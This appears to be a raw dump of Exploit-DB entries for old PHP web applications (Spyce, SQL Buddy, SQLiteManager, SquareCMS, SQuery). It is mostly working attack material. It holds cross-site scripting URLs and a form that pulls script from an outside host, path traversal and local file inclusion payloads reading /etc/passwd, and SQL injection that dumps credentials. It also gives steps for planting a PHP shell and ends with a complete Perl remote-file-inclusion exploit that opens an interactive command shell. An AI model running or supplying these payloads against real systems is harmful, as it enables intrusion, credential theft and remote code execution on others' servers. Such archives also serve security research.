deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31265
Description: Spyce 2.1.3 - '/docs/examples/redirect.spy' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-02-19
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/27898/info

Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.

The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

http://www.example.com/docs/examples/redirect.spy?url=%3CSCRIPT%3Ealert('Can%20Cross%20Site%20Attack')%3C/SCRIPT%3E&type=internal
Exploit-DB #31269
Description: Spyce 2.1.3 - '/spyce/examples/formtag.spy' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-02-19
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/27898/info
    
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
    
The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

http://www.example.com/spyce/examples/formtag.spy?="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&foo=Submit!&mycheck=check1&mypass=secret&myradio=radio_option1&mytext=some&mytextarea=&lt;/textarea&gt;<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
http://www.example.com/spyce/examples/formtag.spy?mypass=%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
Exploit-DB #31266
Description: Spyce 2.1.3 - 'docs/examples/handlervalidate.spy?x' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-19
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/27898/info
 
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
 
The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

http://www.example.com/docs/examples/handlervalidate.spy?x="><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
Exploit-DB #31268
Description: Spyce 2.1.3 - 'spyce/examples/getpost.spy?Name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-19
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/27898/info
   
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
   
The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

http://www.example.com/spyce/examples/getpost.spy?Name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
Exploit-DB #31267
Description: Spyce 2.1.3 - 'spyce/examples/request.spy?name' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-02-19
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/27898/info
  
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
  
The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

http://www.example.com/spyce/examples/request.spy?name="/><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
Exploit-DB #31270
Description: Spyce 2.1.3 - spyce/examples/automaton.spy Direct Request Error Message Information Disclosure
Type: webapps
Platform: php
Date: 2007-02-19
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/27898/info
     
Spyce is prone to multiple input-validation vulnerabilities that can lead to information disclosure or client-side script execution.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. The attacker can also obtain a server's webroot path.
     
The issues affect Spyce 2.1.3; other versions may also be vulnerable. 

Requesting the following URL returns the server's webroot:
http://www.example.com/spyce/examples/automaton.spy
Exploit-DB #35428
Description: SQL Buddy 1.3.3 - Remote Code Execution
Type: webapps
Platform: php
Date: 2014-12-02
Author: Fady Mohammed Osman

Exploit:
# Exploit Title: SQL Buddy Remote Code Execution
# Date: November 29 2014
# Exploit Author: Fady Osman (@fady_osman)
# Youtube Channel  : https://www.youtube.com/user/cutehack3r
# Vendor Homepage: http://sqlbuddy.com/
# Software Link:
https://github.com/calvinlough/sqlbuddy/raw/gh-pages/sqlbuddy.zip
# Version: SQL Buddy 1.3.3
# Tested on: Kubuntu 14.10

SQLBuddy provides a web based mysql administration and it's included in
packages like wamp server.

SQL Buddy suffers from a remote code execution. This happens due to the
fact that it allows the user to login using any server he wants and that it
allows the user to export data from the database to a file on the webserver.

In order to exploit this bug do the following steps:

1- Use a sql server you control and have a valid credentials for (You can
use one of the free mysql hosting services).
2- Create a database and a table with one column of type text.
3- Insert the php code you want to execute into that table.
4- Choose the previously created table from the left menu.
5- Click Export from the top menu.
6- Choose CSV format.
7- Choose "Text File" and name the file with php extension for example
shell.php.

The exported file will be at : sqlbuddy/exports/ assuming you installed
sqlbuddy in a folder named sqlbuddy.

-- 

*Regards,*
[image: Fady Osman on about.me]

Fady Osman
about.me/Fady_Osman
    <http://about.me/Fady_Osman>
Exploit-DB #36993
Description: SQLBuddy 1.3.3 - Directory Traversal
Type: webapps
Platform: php
Date: 2015-05-11
Author: hyp3rlinx

Exploit:
# Exploit Title: Path traversal vulnerability
# Google Dork: intitle:path traversal
# Date: 05-08-2015
# Exploit Author:  John Page (hyp3rlinx)
# Website: hyp3rlinx.altervista.org/
# Vendor Homepage: http://www.sqlbuddy.com
# Software Link: http://www.sqlbuddy.com
# Version: 1.3.3
# Tested on: windows 7
# Category: webapps

Source:
====================================
http://hyp3rlinx.altervista.org/advisories/AS-SQLBUDDY0508.txt


Product:
===============================
SQL Buddy is an open source web based MySQL administration application.


Advisory Information:
==============================
sqlbuddy suffers from directory traversal whereby a user can move about
directories an read any PHP and non PHP files by appending
the '#' hash character when requesting files via URLs.

e.g. .doc, .txt, .xml, .conf, .sql etc...

After adding the '#' character as a delimiter any non PHP will be returned
and rendered by subverting the .php concatenation used
by sqlbuddy when requesting PHP pages via POST method.

Normal sqlbuddy request:
http://localhost/sqlbuddy/home.php?ajaxRequest=666&requestKey=<xxxxxxxxxx>


POC exploit payloads:
=======================

1-Read from Apache restricted directory under htdocs:
  http://localhost/sqlbuddy/#page=../../../restricted/user_pwd.sql#

2-Read any arbitrary files that do not have .PHP extensions:
  http://localhost/sqlbuddy/#page=../../../directory/sensitive-file.conf#

3-Read phpinfo (no need for '#' as phpinfo is a PHP file):
  http://localhost/sectest/sqlbuddy/sqlbuddy/#page=../../../../xampp/phpinfo



Severity Level:
===============
High


Request Method(s):
                                [+] POST

Vulnerable Product:
                                [+] sqlbuddy 1.3.3

Vulnerable Parameter(s):
                                [+] #page=somefile

Affected Area(s):
                                [+] Server directories & sensitive files


Solution - Fix & Patch:
=======================
N/A



Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. the security research reporter John Page disclaims all
warranties, either expressed or implied, including the warranties of
merchantability and capability for a particular purpose. apparitionsec or
its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits or special
damages.

Domains:  hyp3rlinx.altervista.org
Exploit-DB #33154
Description: SQLiteManager 1.2 - 'main.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-10
Author: Hadi Kiamarsi

Exploit:
source: https://www.securityfocus.com/bid/36002/info

SQLiteManager is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

SQLiteManager 1.2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/main.php?redirect=<script>alert(&#039;Hadi Kiamarsi&#039;)</script>
Exploit-DB #29680
Description: SQLiteManager 1.2 - 'main.php' Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2007-02-26
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22731/info

SQLiteManager is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Version 1.2.0 is vulnerable; other versions may also be affected. 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <body> <form id="editform" name="editform" method="post" action="http://www.example.com/sqlitemanager/main.php" enctype="multipart/form-data"> <input type="text" name="dbname" value='"><script src=http://www.0x000000.com/x.js></script><"' /> <input type="text" name="dbVersion" value="2" /> <input type="text" name="dbRealpath" value="" /> <input type="text" name="filename" value="" /> <input type="text" name="dbpath" value="" /> <input type="text" name="action" value="saveDb" /> <input name="Save" value="Save page" type="submit"> </form> <script>document.forms[0].submit();</script> </body> </html>
Exploit-DB #29665
Description: SQLiteManager 1.2 - Local File Inclusion
Type: webapps
Platform: php
Date: 2007-02-26
Author: Simon Bonnard

Exploit:
source: https://www.securityfocus.com/bid/22727/info

SQLiteManager is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

SQLiteManager 1.2.0 is vulnerable to this issue; other versions may also be affected. 

GET /home/sqlite/ HTTP/1.0
[...]
Cookie: PHPSESSID=[...];SQLiteManager_currentTheme=../../../../../../../../../../../../../etc/passwd%00;
SQLiteManager_currentLangue=deleted
Exploit-DB #47310
Description: SQLiteManager 1.2.0 / 1.2.4 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2019-08-28
Author: Rafael Pedrero

Exploit:
<!--
# Exploit Title: Blind SQL injection in SQLiteManager 1.2.0 (and 1.2.4)
# Date: 17-02-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.sqlitemanager.org/
# Software Link: http://www.sqlitemanager.org/
# Version: SQLiteManager 1.2.0 (and 1.2.4)
# Tested on: All
# CVE : CVE-2019-9083
# Category: webapps


1. Description

SQLiteManager 1.20 allows SQL injection via the /sqlitemanager/main.php
dbsel parameter. NOTE: This product is discontinued.


2. Proof of Concept

Detect:
http://localhost/sqlitemanager/main.php?dbsel=-1%20or%2072%20=%2072
http://localhost/sqlitemanager/main.php?dbsel=-1%20or%2072%20=%2070

Save the next post in a file: sqli.txt

POST /sqlite/main.php?dbsel=-1%20or%2032%20%3d%2030 HTTP/1.1
Content-Length: 191
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=s5uogfet0s4nhr81ihgmg5l4v3;
SQLiteManager_currentTheme=default; SQLiteManager_currentLangue=8;
SQLiteManager_fullText=0; SQLiteManager_HTMLon=0
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64;
Trident/5.0)

action=save&ColumnList=1&ConditionList=1&trigger=&TriggerAction=FOR%20EACH%20ROW&TriggerCondition=WHEN&TriggerEvent=DELETE&TriggerMoment=BEFORE&TriggerName=kqluvanc&TriggerOn=t1&TriggerStep=1

$ python sqlmap.py -r sqli.txt -p dbsel --level 5 --risk 3 --dump-all

[11:58:27] [INFO] resuming back-end DBMS 'sqlite'
[11:58:27] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: dbsel (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: dbsel=-4019 OR 7689=7689
---
[11:58:27] [INFO] the back-end DBMS is SQLite
web server operating system: Windows
web application technology: PHP X.X.X, Apache 2.X.X
back-end DBMS: SQLite
[11:58:27] [INFO] sqlmap will dump entries of all tables from all databases
now
[11:58:27] [INFO] fetching tables for database: 'SQLite_masterdb'
[11:58:27] [INFO] fetching number of tables for database 'SQLite_masterdb'
[11:58:27] [WARNING] reflective value(s) found and filtering out
[11:58:27] [WARNING] running in a single-thread mode. Please consider usage
of o
ption '--threads' for faster data retrieval
[11:58:27] [INFO] retrieved: 5
[11:58:27] [INFO] retrieved: database
[11:58:28] [INFO] retrieved: user_function
[11:58:30] [INFO] retrieved: attachment
[11:58:31] [INFO] retrieved: groupes
[11:58:32] [INFO] retrieved: users
.....
.....
.....


3. Solution:

The product is discontinued. Update to last version.
-->
Exploit-DB #36510
Description: SQLiteManager 1.2.4 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-01-05
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/51294/info
 
SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
SQLiteManager 1.2.4 is vulnerable; other versions may also be affected. 

IE-only
http://www.example.com/sqlite/?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))
http://www.example.com/sqlite/index.php?dbsel=" stYle="x:expre/**/ssion(alert(document.cookie))
http://www.example.com/sqlite/index.php?nsextt=" stYle="x:expre/**/ssion(alert(document.cookie))
Exploit-DB #36509
Description: SQLiteManager 1.2.4 - 'main.php?dbsel' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-01-05
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/51294/info

SQLiteManager is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

SQLiteManager 1.2.4 is vulnerable; other versions may also be affected. 

http://www.example.com/sqlite/main.php?dbsel=&#039;"</script><script>alert(document.cookie)</script>
Exploit-DB #2123
Description: SQLiteWebAdmin 0.1 - 'tpl.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: SirDarckCat

Exploit:
SQLiteWebAdmin
http://sourceforge.net/projects/sqlitewebadmin

SQLiteWebAdmin is a simple PHP program for administrating
a SQL DataBase.

It suffers of a Remote File Inclusion Vulnerability.

The bug is in the "tpl.inc.php" program in the "lib"
directory, and is exploited when passing the parameter
"conf[classpath]".

http://www.server.com/lib/tpl.inc.php?conf[classpath]=[URL-OF-SCRIPT]

Succesfull explotation, needs register_globals=on

Att.
SirDarckCat
elhacker.net

# milw0rm.com [2006-08-07]
Exploit-DB #15820
Description: SquareCMS 0.3.1 - 'post.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-24
Author: cOndemned

Exploit:
SquareCMS 0.3.1 (post.php) Remote SQL Injection Vulnerability
found by cOndemned
vendor: http://spoolio.co.cc/ 
download: http://webscripts.softpedia.com/script/Content-Management/Square-CMS-66303.html
prior versions may also be affected

source of post.php lines 15 - 31:

	$token = $_GET['id'];									// [1]
	
	if (isset($token))
	{
		if ($result = mysql_query("SELECT * FROM $posts WHERE id=$token LIMIT 1"))	// [2]
		{
			if ($row = mysql_fetch_array($result, MYSQL_ASSOC))
			{
				header("Location: ".get_friendly_url($row['url']));		// [3]
				exit();
			}
		}
	}
	
	header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found"); // Return a 404			// [4]
	header("Content-Type: text/plain");
	print("404 Not Found\n");


description:

	User input from  variable token [1] is  being used in the MySQL query [2] without any 
	filtration, so that there is possibility to run arbitarary sql commands.  If query is 
	correct (returns proper result) user will be redirected to an url containing response
	[3]. In other case cms will force throwing 404 server response [4] ....

proof of concept:

	http://target/post.php?id=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9+from+square_settings--
Exploit-DB #2003
Description: SQuery 4.5 - 'gore.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-10
Author: SHiKaA

Exploit:
================================================================= 
SQuery <= 4.5(libpath) Remote File Inclusion Exploit            
=================================================================
Worked On : ALL VERSIONS                                         |
                                                                 |
Critical Level : Dangerous                                       |
                                                                 |
Gug Found In : gore.php                                          |
=================================================================
Dork :  "SQuery 4.5" |"SQuery 4.0" |"SQuery 3.9" | inurl:"modules.php?name=SQuery"

http://sitename.com/SQuery/lib/gore.php?libpath=http://SHELLURL.COM?
===============================================================================
Discoverd By : SHiKaA
Conatact : SHiKaA-[at]hotmail.com

GreetZ :  BlAcK_BiRd  Kambaa  NANA METO7575 Gendiaaa Saw SnIpEr_Sa Masry OSA FEGLA Kosho-Man 3amer and #ALL MEMBER OF EL SLAM-CITY
=================================================================

# milw0rm.com [2006-07-10]
Exploit-DB #1629
Description: SQuery 4.5 - 'libpath' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-04-01
Author: uid0

Exploit:
#!/usr/bin/perl
##
# SQuery <= 4.5 Remote File Inclusion Exploit
# Bug Found By uid0 code by zod
## 
# (c) 2006
# ExploiterCode.com
##
# usage:
# perl squery.pl <location of SQuery> <cmd shell location> <cmd shell variable>
#
# perl squery.pl http://site.com/SQuery/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else!
#
# special shout to [ill]will!
##
# Contact: www.exploitercode.com irc.exploitercode.com uid0@exploitercode.com
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
	print "[shell] \$";
while(<STDIN>)
        {
                $cmd=$_;
                chomp($cmd);
         
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'lib/armygame.php?libpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
	{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.+)<br.\/>.<b>Fatal.error/)


{
	$finreturn = $1;
	$finreturn=~ tr/[ê]/[\n]/;
	print "\r\n$finreturn\n\r";
	last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " 	   *SQuery <= 4.5 Remote File Inclusion Exploit*\r\n";   
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl squery.pl <location of SQuery> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to SQuery ex: http://www.site.com/SQuery/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "		           Bug Found by uid0\r\n";
 print "	www.exploitercode.com irc.exploitercode.com #exploitercode\r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-04-01]